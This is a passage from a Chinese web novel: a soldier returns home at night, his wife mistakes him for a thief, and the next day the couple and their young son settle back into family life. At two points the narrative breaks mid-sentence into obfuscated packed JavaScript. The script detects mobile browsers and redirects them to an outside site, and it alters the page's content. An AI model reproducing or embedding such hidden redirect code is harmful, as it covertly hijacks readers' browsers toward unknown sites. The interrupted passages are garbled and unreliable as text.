团团是个小固执:“妈妈,我听见啦。” 如果是赵大妈或者其他近邻远亲会喊“笑笑”。只敲门不吭声,指不定外头是鬼是神。家里只有她和团团,外面又黑得伸手不见五指,苏笑笑可不敢开门,“敲的是赵大妈的门。” 团团好奇地问,“赵奶奶是睡着了吗?” “年龄大耳背,可能还要敲一会儿。”苏笑笑胡扯,“苏团团,这么多话,还下不下啊?” 12.男主张怀民 团团察觉到妈妈走了一步还想再走一步,慌忙按住她的手。 “再多话,我就走两步!” 团团摇摇小脑袋:“不说话,我不说话。妈妈,我下的对吗?” “对啊。”苏笑笑往前走一步,“不要胡思乱想,妈妈明儿教你下五子棋。” 团团好奇地问:“好玩吗?” “比你在被窝里左手玩右手好玩儿。” 小孩睁大眼睛,一副“妈妈怎么知道”的样子。 “又不专心?我走两步了啊。” 团团拉住她的手:“妈妈不要和我说话。” 小孩无法专注难成事。苏笑笑这么逗他其实是逼小孩心无旁骛。果然,敲门声继续,团团跟没听见似的,盯着苏笑笑别耍赖。 赵大妈大概被敲得心烦,推开门出去:“谁呀?” 团团抬头,一脸“赵奶奶可算听见了”的样子。苏笑笑往前走两步,团团低下头正好看见,气得喊:“妈妈坏!” 苏笑笑:“你不认真怪我啊?” 小孩不敢走神。 苏笑笑下的很敷衍,也没动脑子想,所以小孩的棋先到她这边。苏笑笑夸团团厉害,然后假装不服输叫团团再来一盘。 团团赢了妈妈很开心,顿时无心在意谁敲门。 过了大概五六分钟,一盘结束,团团准备继续,身后墙壁被敲响,苏团团抬眼着妈妈,一副“我又听错了吗”的模样。苏笑笑捏捏他的小鼻子,“这次没错。”移到团团身边敲几下墙壁表示她听见了。 苏笑笑下床,团团伸手要抱抱。 “外面冷!” 小孩不信。 苏笑笑单手抱他去开门,带着寒意的秋风进来,小孩梗着脖子挥着小手着急大喊:“妈妈快,关门!” 苏笑笑把他放床上,小孩跐溜一下钻被窝里。苏笑笑笑着给他掖掖被子:“自己玩儿一会儿。也可以试试左手和右手下。” “妈妈,外面冷啊。” 苏笑笑拍怕他的小脑门:“谢谢团团提醒。” 这几日天气极好,苏笑笑把棉衣拿出来晾晒,此时都放在高低柜的低柜上。苏笑笑担心晚上温度低着凉,随便扯一件薄棉袄套身上。 这个时候各家都还没睡,外面有点灯光,苏笑笑就没用马灯。 到院门外,四下里一看空无一人,这个年代敢偷敢抢的也不多,苏笑笑虚掩着门便去隔壁。 到院里,赵大妈招手叫她进去。 苏笑笑开门见山直接问:“刚才谁敲我家门?” 赵大妈:“我就说没看错,屋里亮着灯,你肯定没睡。合着你还听见了?咋不开门?” “担心我爹个怂货喝二两酒不知道自个姓什么,来这里耍横。真打起来我可打不过。”苏笑笑确实有这层顾虑。 赵大妈以为她猜到人找她什么事,故意假装没听见:“不是你爹。后面的许慧娟。” “感谢我啊?”苏笑笑话音落下,赵大妈的大孙女就嘎嘎笑。 苏笑笑听到笑声意识到什么,“不是又要我帮她干什么吧?” 赵大妈小声说:“不知道听谁说的,说你家有红糖也有鸡蛋,想找你借几两红糖几个鸡蛋。” 苏笑笑无语又觉着可笑:“就这事还要偷偷摸摸的?” “说是怕别人知道了对你影响不好。我看是怕人知道现在的她吃几个鸡蛋都要借。”赵大妈一脸无语。 苏笑笑好奇:“你给了?” “孩子可怜啊。”赵大妈叹了一口气,“没有都给,给四个,又给她二两红糖。” 赵大妈的鸡蛋小,一斤十个四毛钱,四个虽然不到两毛钱,红糖也不到两毛钱,可红糖限购,有钱买不到。 苏笑笑:“没说拿钱买?” 赵大妈下意识说,“这年月她给钱我也不敢收啊。” 苏笑笑:“话不能这么说,你不要是你的事,她不给是她不讲究啊。” 赵大妈恍然大悟,接着一脸懊恼:“我咋没想到呢。”后悔一时心软,不禁唠叨,“我还想明早做鸡蛋疙瘩汤呢。” 赵大妈的老伴道:“听说北边有个黑市,改天我去看看?” “不行!故意给你下套咋办?”孙女孙子馋的时候,赵大妈不是没想过去黑市看看,“笑笑啊,你也别去。团团实在想吃,你就带着团团下馆子。”忽然想起一件事,刘晨回门那天刘家来人了,临走时拿了很多东西,应该是苏笑笑给的。笑笑这么大方,说明刘家人比刘大军厚道。 赵大妈问:“听说农村可以养鸡下蛋?笑笑,要不问问你叔你姑有没有鸡蛋鸭蛋呢?菜市场多少钱一斤,咱给多少钱。不过不是真给钱,用杂粮换。每次买一斤白面都要配几斤杂粮,我是吃够了。” 她大孙女听不下去,这叫什么话啊。她是人刘家人不是人啊。大孙女趴她奶背上小声说:“人家也吃够了。” 赵大妈被她压得难受,拨开孙女:“你不知道,白面贵杂面便宜,村里人都是把小麦拿去卖吃杂粮。可到收购站再到粮店中间肯定有差价。咱们可以按照粮店的价算给他们。” 主意是赵大妈出的,赵大妈应该不至于两面三刀。不过苏笑笑也没一口应下来,“我可以写信问问。” 赵大妈:“你问问。我回头就去打听价格。” “在您家换吗?”苏笑笑道,“我这一圈仇人,可不敢在我家。” 赵大妈想起蔫坏的刘大军,心思不正的刘晨,还有刚刚离开有可能结仇的许慧娟:“在我家吧。” 苏笑笑见她把话说到这份上,决定写封信问问,“那我先回去,团团一个人在家我不放心,门也没锁。” 赵大妈家也该锁门洗漱睡觉了就没留她。 苏笑笑到自家门外,发现门开手掌宽,心里咯噔一下,难道好的不灵坏的灵,她爹个伥鬼真来了?轻轻推开门,苏笑笑拿起门后的铁锨,把大门敞开方便打不过她跑。 铁锨这种工具苏笑笑上辈子没用过,市民一般情况下用不着。苏笑笑在手里掂量几下,确定不会一下就被人夺走,她给自己鼓鼓劲儿,轻手轻脚到卧室门外,果然里头有个身材高大的男人面对着团团也不知道想干嘛。 苏笑笑抄起铁锨就砸,男人蓦地转过身攥住铁锨把,苏笑笑愣了楞,不是她爹?小偷!苏笑笑扔下铁锨,抄起扫帚,“还敢还手?打死你丫的!”扫帚飞出去,正中男人鼻梁,苏笑笑赶忙说:“团团,躲好!”抓起桌上的马灯。 “苏笑笑!” 暴怒声在屋里响起,苏笑笑吓得一愣一愣,后知后觉:“你认识我?你咋知道我叫啥?不是,你,你谁呀?” “你看我是谁?!”男人一手攥着扫帚,一手拎着马灯,脚背上还有个铁锨把,怒视着苏笑笑,他的神色仿佛说,敢说不认识,我把这些全招呼到你身上! 团团小声说:“他说他叫张怀民。” 张怀民?那是谁?神经紧绷的苏笑笑一时想不起来,转向小孩,小孩躲在墙角用被子把自己包得只露出一双眼睛,但看起来并不害怕,“团团,你认识啊?” 团团眨眨眼睛,很是奇怪,妈妈不认识吗。 “他说他是爸爸。”团团不确定了,转向男人,“你不是我爸爸啊?” 张怀民没好气地说:“我是你老子!” 不过任谁一进家发现岳父岳母小舅子和妻子全没了,只剩个孩子在床上,都不可能淡定。更别说刚才挨了一扫帚,又险些被泼一脸油! 团团可不管这些,扔开被子,一下站起来,仗着有妈妈撑腰,指着他:“大骗子!还说是我爸爸!” 什么爸爸?苏笑笑打断:“等等,团团,你说他是谁?”看着眼前头戴黑色毛线帽身穿旧大衣的破落户,“你是张怀民?” “我不是你是?”男人的脸色很难看。 团团气鼓鼓地吼:“不许吼我妈妈!” 男人倏然住嘴,但神色愈发复杂。 苏笑笑担心他气急败坏打孩子,抱起团团打量男人,记忆中的张怀民长得可好了,眉清目秀,气质淡雅,文质彬彬,不像军人像教书先生。咋可能是现在这样,风尘仆仆的,跟——等等,从江南到这里几千里,他油头粉面干净整洁才奇怪吧。 如果他真是张怀民,休假回来探亲不可能空着手,至少得带行李。 苏笑笑眼珠一转,旧书桌上有两个包,一个绿色小挎包,一个军用大背包。 张怀民忍不住用嘲讽的语气问:“看清了?” 谁家小偷带着大包小包进门啊?苏笑笑一瞬间尴尬脸红,迫切想找个地缝钻进去。可哪有缝啊。苏笑笑把小崽子塞给他,张怀民下意识伸出手臂接着,苏笑笑往外走掩饰心虚:“还没吃吧,我给你弄点吃的!” “站住!” 张怀民扔下扫帚,单手抱着孩子,马灯放桌上,“有话问你。” 苏笑笑的脚趾挠着地转过身,“有啥话一会儿再说吧。” “不行!”来人不是小偷,苏笑笑放心了,然而张怀民的心还悬着,“爸妈呢?刘旭呢?是不是陈雪生了,他们都在医院?” 苏笑笑一时没反应过来。 张怀民见她这样心下纳闷,他的问题这么难回答吗。 “家里出什么事了?”张怀民不自觉声音放低。 苏笑笑回过神,“你知道了?” “知道什么?”张怀民困惑。 苏笑笑:“知道他们不在家啊。” 张怀民点头:“我想跟他们打声招呼,但敲门没人应,这个点还不该睡吧?对了,你去哪儿了?怎么敢把团团一个人放家里?” 原主跟张怀民不熟,结婚四年两人在一起的时间不足两个月。可张怀民是军人,是在军校进修过的军人,就算不了解苏笑笑,以他的敏锐也能很快察觉到她像换了个人。 苏笑笑不敢跟他僵持下去:“我,我给你弄点吃的。你问团团。团团啥都知道。” 团团点头:“我啥都知道!” 苏笑笑听了这话顿时想笑,惊觉现在不合适,抿抿嘴去厨房。 幸好苏笑笑担心一块煤球撑不到明早,封了炉子但没换煤球,打算睡前换。 苏笑笑拉开炉子,火很快上来,她煎两个荷包蛋,用热水下一大碗猪油酱油青菜面。 淡淡的猪油香和面香飘到隔壁房中,张怀民也弄清他岳母在哪儿。张怀民想想以前妻子的脾气,忍不住担心,“团团,奶奶有没有打你妈?” 团团摇头:“爷爷要打奶奶。” “你爷打你奶?”张怀民眉头微皱,他只是两年没回来,怎么一个两个都变了,“你舅呢?看着你爷打你奶?” 团团努力转动他的小脑袋:“舅舅不在爷爷家啊。” 张怀民懵了,随后想到一种可能,“你说的爷爷是张家爷爷要打以前住在这里的苏奶奶?” 团团点了点头,不明白他干嘛多此一问。团团说的很明白啊,爸爸还听不懂吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14385503|153238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?爸爸真笨! 张怀民几度张口又合上——团团说的每个字他都能听懂,合在一起无法想象!十天前收到他爸妈的电报,问笑笑和团团能不能随军——苏家是个无底洞,既然拦不住苏笑笑补贴娘家,不如把人支的远远的。要是他爸有意动手收拾丈母娘,干嘛还让他尽快回来! “因为什么?” 过去好几天了,团团记不清,“妈妈知道!”扭头找妈妈,正好苏笑笑过来叫张怀民吃饭,“妈妈!” 苏笑笑伸手,张怀民把小孩递过来,苏笑笑闻到他身上的味儿,理直气壮起来:“不能怪我没认出你,就是公公婆婆在这儿也会把你当成小偷。”人不在小声嘀咕一句,“一身味儿!” 张怀民扯起衣领,不禁皱眉。看到旧书桌上的镜子,拿起来一看吓一跳,胡子邋遢像个鬼!张怀民扔下大衣拿掉帽子,习惯性放桌上,放下去又拿起来扔外面晾衣绳上。 找到瓷盆,接半盆凉水到院里,洗把脸又觉着身上难受。张怀民边擦脸边去厨房,“炉子里有热水吗?” “面不吃就坨了。” 张怀民看到案板上有一盆青菜面,面上铺着两个煎至金黄的荷包蛋,鼻梁上的疼痛因此瞬间消失。他把毛巾扔盆里,坐到案板前,呼啦一口面,腹中舒服点,也有心情解释,“以前过了中秋一天比一天冷,我以为今年不例外,穿的有点厚。没想到天气不错,还能看到星星。” 苏笑笑:“所以不怪我把你当成小偷?” 张怀民想了想,说:“你们娘俩儿在家,应该当心。可你还是没说怎么把团团扔家里。” 只要不奇怪她性情大变,他聊什么苏笑笑都耐心奉陪,“我在隔壁赵大妈家。总共没呆五分钟。” 团团下意识点头,双眼直勾勾看他爸。 张怀民想问“儿子是不是想我了?”鸡蛋到嘴里,小孩的嘴巴跟着动了动,张怀民确定他想多了,仍然冲他招招手。 团团转向妈妈,这人“老子”要干嘛,“妈妈,他真是我爸爸啊?” “是的!”苏笑笑把团团放地上,不敢直视张怀民。 小孩转过身:“爸爸干嘛说是我老子啊?” “我是你老娘。明白了吗?” 团团不明白:“他是老爹,不是老子!” 团团以前没这么多话啊?张怀民陡然想起上次回来苏团团还不会喊爸爸。难怪不记得他。可是也不对,上个月月初收到团团的照片,他就把他的近照寄过来,“没给他看过我的照片?” 苏笑笑眨了眨眼睛,问她吗?她刚到,她哪知道啊。 “陈雪怀孕后娇贵得很,顾不上教团团认爸爸。”苏笑笑趁机解释,“我一忍再忍,没想到一个比一个贪心。团团跟你说了吧?连他的鸡蛋都抢,你给我的钱也被他们用的一干二净。我气得吓唬爹娘两句,我爹就去公安局告我,说我虐待老人。我才趁机把他们赶出去!” 苏团团刚才说得颠三倒四,东一榔头西一棒子,张怀民听得云里雾里。听了她的话,再结合团团说的事,张怀民窥到全貌,这些事是在他收到电报之后发生的?那就能解释通了! 张怀民揭开迷雾,也有心情又冲团团招招手。 团团听出妈妈的语气很好,相信“老子”是爹,他迈着小短腿过去。张怀民把他拉到身边。团团嫌弃:“臭!” 张怀民把完好的鸡蛋递到他嘴边,软软的小身体贴上来,张怀民想给儿子一脑瓜崩——有蛋就是爹的熊孩子! 有一件事张怀民还没弄清:“搬家那天我爸妈也在?” 苏笑笑:“不在。早几天我告诉爸妈他们搬了,连爷爷置办的家具都搬走了,爸气得要找他们要回来。我担心狗急跳墙,拦着没让他去。” 张怀民内心感到十分震惊,苏笑笑竟然把她父母比作狗?她脑袋被车撞过吗。张怀民心中很是好奇:“除了分家,你还做过什么?” 甭管被刘家弄去的,还是被张家要走的,都是张怀民的血汗钱。苏笑笑认为不应该瞒他,所以把管她爹娘要钱的经过大概说一下。 张怀民不由得露出一副不认识她的样子。 苏笑笑心慌,给自己找补:“我以前不计较不等于我傻!” 刘大军叫苏笑笑改姓,她坚持没改。让苏笑笑把工作让出来她也没让。说明她不蠢。再说,泥人也有三分土性。苏笑笑一朝爆发也正常。 张怀民无意识地点点头。 苏笑笑松了一口气:“钱的事你爸妈还不知道。你爸妈还给我一千块钱。我想着以前没少给你弟你妹花钱,咱俩结婚前你的工资几乎都给了他们,他们给我就没推辞。” “他们不是没钱吗?”张怀民困惑。 公婆叫穷当然是为了从她这里弄钱!如今苏笑笑就是原主,她才不要承认自己愚孝,“他们说有钱。我算过,新民夫妻俩的工资一家人都花不完。二老的退休金算净剩的。” 团团把蛋黄咽下去,捏着蛋白到妈妈身边:“奶奶有钱,叫爷爷买鸡腿,我和姐姐一人一个,一个大鸡腿!” 苏笑笑点头:“前几天去过一次,你爸妈准备了很多菜。” 张怀民怀疑他离家太久,每个人都变得跟以前不一样,“只是这些?” 苏笑笑:“刘晨把工作还我了。” 张怀民不禁问:“都是近几天发生的事?你——”搬家、掏钱、工作,接二连三砸下来,难怪她怕狗急跳墙,“你应当徐徐图之。或者等我回来也行。” 我的军人爸爸 第13章 我的军人爸爸 等你回来收尸啊?苏笑笑冷不丁想到如果她没过来今儿正是原主头七! 张怀民高高兴兴满心期待回来-一天塌了!苏笑笑一时不知该同情原主还是该同情张怀民。她干脆说:“我爹娘我了解,得快刀斩乱麻,不能让他们有喘息之机。” 张怀民对岳父吃绝户的行为极为不齿。老人家尸骨未寒他就改姓,这样的心性给他机会指不定折腾出多少幺蛾子。 想到这点,张怀民没底气责怪妻子,可他仍然忍不住担心,希望多了解那几天的情形:“谈这些事的时候除了岳父岳母他们和你跟团团,还有什么人在场?”苏笑笑问:“担心我啊?” 张怀民眼前浮现出刚刚她张牙舞爪恨不得打死他的样子,顿时觉着白担心了,干脆继续吃面。苏笑笑以为他不好意思,也没敢继续调侃。因为原主没胆子捉弄张怀民,对他只有顺从。"街坊四邻都在。公安知道我爹迫不及待吃绝户就很讨厌他,我娘担心陈雪早产不敢大闹,很不甘心也老老实实搬走了。”张怀民又想起一些往事-- 团团出生时张怀民回来过。他给团团上户口那天上午刘大军的笑容很勉强,明明心里很在意,他还说"笑笑的爷爷泉下有知也该安心了。” 中午吃饭时刘大军叫张怀民给刘旭介绍对象。张怀民不想管刘家的事,只说他比刘旭大太多,跟他年龄相仿的跟刘旭不合适,跟刘旭年龄相仿的他不认识。张怀民离家多年,这话听起来不像敷衍,刘大军并没有放过他。被他纠缠烦了,张怀民直言他所在的部队有很多女兵,他试试能不能把刘旭调到部队后勤或者炊事班。刘大军把刘旭未来的孩子当命根子,哪舍得把刘旭送到千里之外。万一找个条件好的,对方又要求孩子跟女方姓,他岂不是竹篮打水一场空。 刘大军吓得谢绝他的好意。 这些足矣令张怀民想象出苏笑笑抓住陈雪不放,他岳父会有多害怕:“什么时候看出无论何事都没有陈雪的孩子重要?" 苏笑笑:“陈雪太过分,我爹娘却觉着没什么。陈雪把团团的鸡蛋吃了,团团眼馋,那两口子连团团不知道让让弟弟的话都说得出口,我才意识到陈雪这步棋好使!”张怀民不放心地问:“他们这几天有没有回来过?”团团点头。 苏笑笑想说什么,一看小孩手上油乎乎的,拉着他出去。 厨房里只剩张怀民一人,冷冷清清的,他犹豫片刻,端着盆到门外看着苏笑笑一边给团团洗手一边叮嘱:“你可以用手抓着吃,但吃之前和吃之后都要洗手,不许往衣服上蹭,谁的衣服都不行。” 张怀民情不自禁地说:"你一个人带着团团辛苦了。"苏笑笑鼻头发酸,她肯定这不是她,是这具身体的本能反应。苏笑笑吸吸鼻子,扬头笑言,"那以后对团团好点,别让我的辛苦白费。" 哪怕苏笑笑竭力掩饰,张怀民还是借着厨房里投射出来的灯光看清她眼眶泛着晶莹。张怀民的心脏被狠狠揪了一下,喉咙发紧:“会的......" 苏笑笑不由得问:“我呢?” "你--"张怀民不擅长甜言蜜语,"我的鼻梁好像肿了。" 苏笑笑的笑容定格,低头问:"团团,干净了吗?”团团闻闻,“妈妈,我的手香香的。”"妈妈闻到了,外面冷,我们回屋。"苏笑笑抱起团团连走带跑把他塞被窝里。 张怀民看着她心虚的样子,好笑地摇了摇头,喝完最后一口面汤把盆放锅中顺手洗了。看到炉子上的烧水壶,张怀民摸摸壶身一一很热可以洗澡,便出来拿盆和毛巾。苏笑笑出来看到张怀民在堂屋和厨房来回转悠:“找什么呢?" “牙膏在哪儿?” 苏笑笑:“在橱柜上放着。” 张怀民到厨房找到牙膏,就用了一点:“新买的?”“家具被他们搬走了,小东西也没放过。”张怀民:“那这几天来干嘛?” 这事还没忘呢?苏笑笑怀疑不说清楚他得惦记到明日,"刘晨没了工作,袁家想跟她离婚,刘晨要跟我换换,我过两年接我娘的班。” “她不能接班?” “灯泡厂哪有邮政局体面。” 张怀民:“...... 小姨子和老丈人不愧都姓刘,奇葩一家亲!张怀民突然想到一点,"袁家不知道邮局的工作是你的?" 苏笑笑:“袁家没问,刘晨没说。”张怀民不禁问:“婚姻大事,不打听清楚?”苏笑笑心说,以前你父母不也没发现原主过于贤惠孝顺吗。 “谁知道找谁打听的。"苏笑笑见他穿着单薄的衬衣,在深秋时节很容易着凉,"你先洗漱。对了,换煤球。"听了她的话,张怀民就觉着身上刺挠。从头到脚洗刷干净,张怀民到厨房见煤球底部灭了,赶紧换新煤球。 张怀民关上房门转过身,苏笑笑的呼吸停顿片刻,不敢相信眼前的白面书生是张怀民。 哪是洗澡,大变活人啊。 此刻最多八点,团团将睡未睡,看到高大的身影越来越近,小孩惊醒坐起来。张怀民本能停下,“还没睡?""你是爸爸?”小孩黑黝黝的大眼睛里尽是疑惑。张怀民朝里面的苏笑笑看去,他这是又 把我忘了?苏笑笑:“你跟之前像换了个人啊。”张怀民拿起书桌上的镜子,里头的鬼变成了人,不怪团团不确定。张怀民到床边:“我是你爸!”妈妈躺在里面一动未动, 团团就意识到爸爸还是他爸 爸,不是像爸爸的陌生人。 随着团团躺回去,张怀民注意到老婆孩子一个被窝,他一个被窝。张怀民又看向苏笑笑,让她解释。苏笑笑没法解释啊。 家里只有一张床,张怀民和原主又是合法夫妻,于公于私于情于理张怀民今晚都要跟她同床。这种情况苏笑笑在脑海里预演过,虽然她也有原主记忆,可张怀民对她而言仍然是熟悉的陌生人。头天见面就共枕,苏笑笑怪别扭,所以她靠墙,团团到中间,张怀民睡外面。又担心半夜不小心碰到张怀民,干脆又拿出一床被子。 就是现在这种情况。 苏笑笑问团团:“跟爸爸睡好不好?”"不要!"团团扭身抱住妈妈。 苏笑笑看向张怀民,你看,不是我要孩子不要你,是孩子离不开我。 张怀民上床盖上被子,靠着床头问:“团团,你是不是小男子汉?" 团团回头:"是啊。" “男子汉都是自己睡。”张怀民立刻说。团团摇头:“我不是,爸爸是!” 苏笑笑愣了愣,没想到团团会这样说,回过神忍俊不禁。 张怀民脸色发黑,"爸爸自己一个被窝,你是不是也应该自己一个被窝?" “爸爸是男子汉,团团不是。"言外之意,咱俩不一样。张怀民朝他后脑勺拍一下。 团团往妈妈怀里钻:“爸爸打我!”苏笑笑被他的小脑袋撞得胸口疼,赶忙抓住团团。张怀民看到这一幕不敢逗孩子:“没事吧?”苏笑笑:“先这么睡吧。” 这两天张怀民没休息好,坐着硬邦邦的火车浑身不舒服,也想早点躺下。他脱掉衬衣,就问苏笑笑要不要拉灯。苏笑笑的视线从他的腹部移到手臂,肌肉线条分明,正应了以前看到的那句一-穿衣显瘦,脱衣有肉。饮食男女,苏笑笑也不例外,后悔把小崽子移到中间。不过话又说回来,就算团团在里面,也不能当着孩子的面生扑啊。 苏笑笑收回视线,颇为可惜:“关灯吧。”室内暗下里,苏笑笑听到一声轻笑。苏笑笑的脸热起来,怕团团发现没敢伸手,隔着两条被子朝张怀民腿上踹一下。 可惜张怀民还没躺下,苏笑笑踹空,还被团团发现:“妈妈的腿怎么了?” 张怀民五感敏锐,哪怕屋里黑得什么都看不见,也察觉到他的被子动一下,他带着笑意说:"你妈腿抽筋!”“妈妈,我给你揉揉。” 苏笑笑赶忙搂住小孩:“谢谢团团,不用。腿抽筋揉了没用,是因为缺少营养。" 团团:“妈妈吃鸡蛋!” “对!天一亮妈妈就做鸡蛋。团团,你想吃水煮的,还是煎的?" 团团今儿吃了两个煎鸡蛋,想换换口味:“我要吃水煮的荷包蛋。" “等你睡醒妈妈就做。” 团团捂住眼睛:“妈妈,我睡了啊。”苏笑笑拉下他的手,把他搂怀里,没搭腔。过了五六分钟,张怀民察觉到儿子平躺,小声问:“睡着了?"习惯了屋里只有她和团团,这冷不丁出声,苏笑笑吓一跳:“你,还没睡?” 家里的床软被窝暖,太舒服了张怀民反而不习惯,"太早,睡不着。"还有一点张怀民不好意思说出来,快两年没见妻子,他有点想,“团团睡得沉吗?”“你试试呢?” 张怀民不信苏笑笑听不出他言外之意。见她不介意,张怀民轻轻掀开团团的被子,抱起团团,低声说:"过来。”苏笑笑移到中间,张怀民放下团团,给孩子盖上被子,小孩转过身,张怀民僵住,轻声试探:“团团?”“妈妈......" 苏笑笑本能转过身背对着张怀民把团团搂怀里。张怀民的天黑了,气得生硬地憋出一句:"明天就给他买床!" “睡吧。明儿我还要上班。” 团团一声“妈妈”把苏笑笑心里那点旖旎喊的荡然无存。张怀民问:“团团跟我在家?” "可以带他去公婆家。下午再回来。我中午不回来。”张怀民记得以前苏笑笑周五轮休:"周五你休息我们再一起过去?" “行啊。” 张怀民想起来之前他忙的事:"你在首都这些年,有没有想过换个地方生活?" "我的工作怎么办?"苏笑笑听出他未尽之意。张怀民:“那边有邮局。你是毕业后由国家分配的,好安置。" “以后还能回来吗?” 张怀民:“能啊。邮局不需要那么多人也是先清退临时工。" “那你安排吧。” 张怀民来的路上一直琢磨如何说服她。怎么也没想到这么简单,以至于他有点不敢信: “听明白了?” 苏笑笑:“希望我随军呗。” 张怀民转身搂住她,苏笑笑被他吓一跳,小声说,“别动手动脚。” 担心吵醒小崽子,张怀民不敢再动,"这事要不要跟岳母说一声?" "不用。"苏笑笑想想前几天刚麻烦一次领导,"在家待几天?" 张怀民:“下个月初回去。” “那我干到月底吧。下个月一号再找主任办手续。”张怀民“嗯"一声,感觉手背被摸一下,顿时毛骨悚然,只因苏笑笑的手在他胳膊底下,不可能碰到他的手背。张怀民立刻拉开电灯,小崽子的小手搭到他手上。张怀民气得找儿子脸上拧一下:“不认爹还想吓死爹!”团团睁开眼。张怀民真要吓死,着急到结巴:“他,他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811499|153238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会哭吧?" 苏笑笑推开身上重重的手臂抱住儿子。苏团团抓住妈妈的衣襟又沉沉睡去。 张怀民躺平呢喃:“明儿给他买床。”*.*...*.. 张怀民睁开眼,室内明亮,揉揉眼睛准备起来,眼前多出个小脑袋,吓得他条件反射般出手反击,幸好脑袋反应也快,意识到小脑袋是他儿子,转手把小孩抱身上:“醒这么早?" "我早醒了。"一回生二回熟,苏笑笑起来后又交代团团跟爸爸玩,所以团团不怕他老子,张大嘴巴哈口气,“我洗脸刷牙了。" 张怀民捏捏眼角,搂住他坐起来,"我睡那么沉?""妈妈说爸爸累。"团团好奇地问,"爸爸是种地的吗?妈妈说种地累!" 张怀民想把苏笑笑喊进来,不给儿子看他照片就算了,竟然都不告诉儿子他是军人,"我是当兵的。"“当兵的是什么的啊?”团团无法想象。张怀民想说“保家卫国",又担心小孩继续问,“电影里端着枪杀敌的人。" 可是团团才三岁,还没看过电影啊。苏笑笑听到动静担心团团摔下来,看到张怀民醒了就没进去,在门口说:“跟大檐帽是一家。”团团眼睛一亮,兴奋地问:“爸爸是公安伯伯?”张怀民无奈地说:“我是你军人爸爸!”苏笑笑忍着笑回厨房削土豆皮。 团团叽叽喳喳地问:“军人爸爸厉害公安伯伯厉害?”"都厉害!"张怀民起来,把儿子放被窝里,"爸爸穿衣服。" 团团披着被子点头:“爸爸,我也穿衣服。”张怀民穿上灰色长裤,白色衬衫,又套上毛坎肩,到院里确定不冷,回来给儿子穿外套和裤子,“你都洗脸刷牙了,还要睡回笼觉?" “妈妈让我照顾爸爸。” 张怀民不信,把儿子送到厨房,顺便问苏笑笑:“他需要睡回笼觉?" 苏笑笑:“我担心他乱跑菜刀碰到他,就把他放床上。" 张怀民本想叫苏笑笑看着孩子,听了这话抱起儿子去公厕。团团嫌臭,到门口不愿意进去。正好赵大妈拎着痰盂从旁边女厕出来,看到团团习惯性说:“我看着团团。”张怀民进去,赵大妈后知后觉:“团团,那是你爸啊?你爸啥时候回来的?" "昨天晚上呀。"团团奶声奶气仰起头问:"赵奶奶认识我爸爸?你知道我爸爸厉害吗?和公安伯伯一样厉害。"赵大妈跟张怀民不熟,主要是他不常回来,回来一次也是这边住几天,张家住十几天。面对团团的询问,赵大妈只能说:“认识。” 张怀民出来,团团拽住他的手臂:“赵奶奶,他是我的军人爸爸,他叫张怀民!" 张怀民同志一脑门黑线,嫌他丢人。赵大妈好笑:“我知道你爸爸叫什么,也知道他是军人。” “你知道我爸爸会打枪吗?” 赵大妈怀疑他说不会,小崽子得继续:“你爸这么厉害?" “对啊,对啊。我爸爸最厉害!”小孩很得意。赵大妈:“快去告诉别人。” "好的。"团团拽着他爸往胡同里去,逢人就嘚瑟,"这是我爸爸,我的军人爸爸!" 张怀民恨不得找个地缝钻进去,他只是一名普通军官啊。 赵大妈跟在一大一小后面,看着张怀民耳朵通红拽着团团回家,忍不住笑出声。到院里她还满脸笑意。她大儿媳妇问:“什么事这么高兴?”赵大妈小声说:“团团的爸爸回来了。团团见人就说他爸爸是军人,显摆的,跟他爸是天王老子一样。他爸都被他炫耀的不好意思了。" 她大儿媳妇笑道:"团团还小,不懂事啊。那天公安帮了笑笑,公安和部队一家亲,团团肯定觉着他爸厉害。不过怎么都没听笑笑说这事?" 赵大妈:“她哪知道部队啥时候休假啊。饭好了吗?”“差不多了,您洗手吧。” 一墙之隔,苏笑笑也叫张怀民洗脸刷牙。团团稀罕他的“军人爸爸”,张怀民蹲着刷牙,他蹲在旁边歪头打量。张怀民起身洗脸,他起来打量。张怀民拽住他的手给他洗手,小孩急了:“洗过啦!”“你跟我去了厕所,再洗一遍。” 小孩摇头:“不要你洗,你手上有刀。”苏笑笑出来:“什么刀?” 张怀民也奇怪,摊开双手,苏笑笑找到原因:“嫌你的手粗糙。窗台上有蛤蜊油,你抹点,给团团抹点。团团,你爸爸手上这些都是拿枪留下的。"团团由嫌弃变好奇,张怀民给他抹好蛤蜊油,他把张怀民的手翻来覆去检查,又问:“爸爸的枪呢?”"在单位。"张怀民拉着儿子到厨房,看到苏笑笑切的土豆片和洋葱片,“一个菜就行。” 苏笑笑点头:"是一个菜。你把钢筋锅端堂屋,团团,拿碗筷,妈妈一会儿就好。" 团团抱着碗筷跟在爸爸身后,苏笑笑把土豆扔锅里,炒到稍稍变色 把洋葱扔进去,洋葱熟了,土豆肯定熟了。苏笑笑把炉子堵上,倒满冷水的烧水壶放炉子上烧热留着饭后刷锅。 张怀民以为钢筋锅里是粥和馒头,结果有馒头,有白水煮好的三个荷包蛋,还有一盆鱼汤。再加上苏笑笑端来的一碟菜,张怀民感叹:“太丰盛!”“鱼是昨天买的。团团前些天没吃过好东西,我想着这几天有空给他补补。" 